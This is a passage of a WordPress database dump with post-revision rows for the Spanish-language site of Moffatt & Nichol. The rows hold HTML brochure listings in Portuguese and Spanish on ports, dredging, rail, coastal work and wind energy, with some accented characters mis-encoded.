de recreo aumentaba en popularidad.<br />\n        <br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/waterfront-development-and-marinas-brochure/\" title=\"Ver\" >Ver</a> | <a href=\" http://moffattnichol.com/admin/upload_bro/WATERFRONT3FOR3PORTAL3UK.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/transportation.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Transporte</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        La experiencia profesional en el transporte de Moffatt & Nichol une la experiencia profesional de ingenierÃa civil y estructural de la firma con nuestra comprensiÃ³n Ãºnica del movimiento de carga de contenedores y del transporte marÃtimo. Ofreciendo una gama completa de servicios integrados, <br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/transportation-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/TRANSPORTATION1FOR1PORTAL1UK.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n  </div>\n</div>\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Folletos-Europa/Medio Oriente','','inherit','open','open','','1991-revision','','','2012-02-09 13:46:04','2012-02-09 08:16:04','',1991,'http://moffattnichol.com/spanish/1991-revision/',0,'revision','',0),(2540,1,'2012-06-15 11:24:28','2012-06-15 11:24:28','<div class=\"content_faq\">\r\n  <div class=\"brochure-wrapper-new\">\r\n   <h3>folletos-portugués</h3>\r\n    <br />\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br />\r\n       <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n         A Moffatt & Nichol é sediada nos EUA e é líder global em consultoria de infraestrutura sendo especializada no planejamento e design de instalações que moldam nossas costas, portos e rios, além disso, fornece soluções <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MANIPULACIÓN DE GRANELES</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        A Moffatt & Nichol, uma das principais empresas de planejamento e engenharia portuária do mundo, oferece aos clientes um conjunto completo de serviços de planejamento e projetos para terminais<br />\r\n        <br />\r\n        <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        A reputação da Moffatt & Nichol pela excelência no ambiente costeiro foi construída durante anos de experiência em projetos desafiadores. Com base nessa experiência, a empresa hoje oferece aos clientes uma equipe altamente<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-and-water-resources-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/CEWR_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br />\r\n       <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        A Moffatt & Nichol, líder em engenharia costeira, está na vanguarda de serviços de engenharia especializados e de gestão de obras para projetos de dragagem em mar aberto, portos, áreas alagáveis costeiras, embocaduras e hidrovias interiores.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/dredging-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Como uma das maiores empresas especializadas em planejamento e engenharia portuária no mundo, a Moffatt & Nichol tem desempenhado um papel importante na evolução dos portos modernos. A empresa<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-marine-terminals-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1AND1HARBORS_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        A Moffatt & Nichol se especializou no planejamento e concepção de projectos de construção civil pesada, incluindo instalações de transporte ferroviário, para clientes na América do Norte, <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Atualmente as orlas urbanas são catalisadoras de atividade econômica. Este ramo de atuação da Moffatt & Nichol foi criado em 1960 na medida em que a navegação recreacional se <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/UWM_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Energía eólica</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        A Moffatt&Nichol está preparada para auxiliar seus clientes a enfrentar os desafios inerentes de projetos de desenvolvimento de energia eólica, tanto offshore quanto onshore. Combinamos <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-power-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/WIND1POWER1OVERVIEW1_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Consultoría comercial global </span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        O Grupo de Assessoria em Comércio Global da Moffatt&Nicholdá suporte às capacidades exclusivas da empresa em planejamento marítimo e de infraestrutura, oferecendo um conjunto de serviços <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/global-commerical-advisory-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/GCAS1PORTUGUESE1PORTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Folletos-Portugués','','inherit','open','open','','1997-autosave','','','2012-06-15 11:24:28','2012-06-15 11:24:28','',1997,'http://moffattnichol.com/spanish/1997-autosave/',0,'revision','',0),(2541,1,'2012-02-09 14:50:56','2012-02-09 09:20:56','<div class=\"content_faq\">\n  <div class=\"brochure-wrapper-new\">\n    <h3>folletos-portuguÃ©s</h3>\n    <br />\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÃ“N GENERAL</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        A Moffatt & Nichol Ã© sediada nos EUA e Ã© lÃder global em consultoria de infraestrutura sendo especializada no planejamento e design de instalaÃ§Ãµes que moldam nossas costas, portos e rios, alÃ©m disso, fornece soluÃ§Ãµes <br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MANIPULACIÃ“N DE GRANELES</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        A Moffatt & Nichol, uma das principais empresas de planejamento e engenharia portuÃ¡ria do mundo, oferece aos clientes um conjunto completo de serviÃ§os de planejamento e projetos para terminais<br />\n        <br />\n        <br />\n        <br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n  </div>\n  <div class=\"brochure-wrapper-two\">\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        A reputaÃ§Ã£o da Moffatt & Nichol pela excelÃªncia no ambiente costeiro foi construÃda durante anos de experiÃªncia em projetos desafiadores. Com base nessa experiÃªncia, a empresa hoje oferece aos clientes uma equipe altamente<br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-and-water-resources-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/CEWR_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-8.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        A Moffatt & Nichol, lÃder em engenharia costeira, estÃ¡ na vanguarda de serviÃ§os de engenharia especializados e de gestÃ£o de obras para projetos de dragagem em mar aberto, portos, Ã¡reas alagÃ¡veis costeiras, embocaduras e hidrovias interiores.<br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/dredging-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n  </div>\n  <div class=\"brochure-wrapper-two\">\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        Como uma das maiores empresas especializadas em planejamento e engenharia portuÃ¡ria no mundo, a Moffatt & Nichol tem desempenhado um papel importante na evoluÃ§Ã£o dos portos modernos. A empresa<br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-marine-terminals-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1AND1HARBORS_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        A Moffatt & Nichol se especializou no planejamento e concepÃ§Ã£o de projectos de construÃ§Ã£o civil pesada, incluindo instalaÃ§Ãµes de transporte ferroviÃ¡rio, para clientes na AmÃ©rica do Norte, <br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n  </div>\n  <div class=\"brochure-wrapper-two\">\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        Atualmente as orlas urbanas sÃ£o catalisadoras de atividade econÃ´mica. Este ramo de atuaÃ§Ã£o da Moffatt & Nichol foi criado em 1960 na medida em que a navegaÃ§Ã£o recreacional se <br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/UWM_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">EnergÃa eÃ³lica</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        A Moffatt&Nichol estÃ¡ preparada para auxiliar seus clientes a enfrentar os desafios inerentes de projetos de desenvolvimento de energia eÃ³lica, tanto offshore quanto onshore. Combinamos <br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-power-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/WIND1POWER1OVERVIEW1_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n  </div>\n  <div class=\"brochure-wrapper-two\">\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">ConsultorÃa comercial global </span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        O Grupo de Assessoria em ComÃ©rcio Global da Moffatt&NicholdÃ¡ suporte Ã s capacidades exclusivas da empresa em planejamento marÃtimo e de infraestrutura, oferecendo um conjunto de serviÃ§os <br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/global-commerical-advisory-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/GCAS1PORTUGUESE1PORTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n  </div>\n</div>\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Folletos-PortuguÃ©s','','inherit','open','open','','1997-revision','','','2012-02-09 14:50:56','2012-02-09 09:20:56','',1997,'http://moffattnichol.com/spanish/1997-revision/',0,'revision','',0),(2542,1,'2012-06-15 11:23:03','2012-06-15 11:23:03','<div class=\"content_faq\">\r\n  <div class=\"brochure-wrapper-new\">\r\n   <h3>folletos-portugués</h3>\r\n    <br />\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br />\r\n       <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n         A Moffatt & Nichol é sediada nos EUA e é líder global em consultoria de infraestrutura sendo especializada no planejamento e design de instalações que moldam nossas costas, portos e rios, além disso, fornece soluções <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MANIPULACIÓN DE GRANELES</span> <br />\r\n        <<em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        A Moffatt & Nichol, uma das principais empresas de planejamento e engenharia portuária do mundo, oferece aos clientes um conjunto completo de serviços de planejamento e projetos para terminais<br />\r\n        <br />\r\n        <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        A reputação da Moffatt & Nichol pela excelência no ambiente costeiro foi construída durante anos de experiência em projetos desafiadores. Com base nessa experiência, a empresa hoje oferece aos clientes uma equipe altamente<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-and-water-resources-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/CEWR_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br />\r\n       <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        A Moffatt & Nichol, líder em engenharia costeira, está na vanguarda de serviços de engenharia especializados e de gestão de obras para projetos de dragagem em mar aberto, portos, áreas alagáveis costeiras, embocaduras e hidrovias interiores.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/dredging-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Como uma das maiores empresas especializadas em planejamento e engenharia portuária no mundo, a Moffatt & Nichol tem desempenhado um papel importante na evolução dos portos modernos. A empresa<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-marine-terminals-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1AND1HARBORS_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        A Moffatt & Nichol se especializou no planejamento e concepção de projectos de construção civil pesada, incluindo instalações de transporte ferroviário, para clientes na América do Norte, <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Atualmente as orlas urbanas são catalisadoras de atividade econômica. Este ramo de atuação da Moffatt & Nichol foi criado em 1960 na medida em que a navegação recreacional se <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/UWM_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Energía eólica</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        A Moffatt&Nichol está preparada para auxiliar seus clientes a enfrentar os desafios inerentes de projetos de desenvolvimento de energia eólica, tanto offshore quanto onshore. Combinamos <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-power-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/WIND1POWER1OVERVIEW1_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Consultoría comercial global </span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        O Grupo de Assessoria em Comércio Global da Moffatt&Nicholdá suporte às capacidades exclusivas da empresa em planejamento marítimo e de infraestrutura, oferecendo 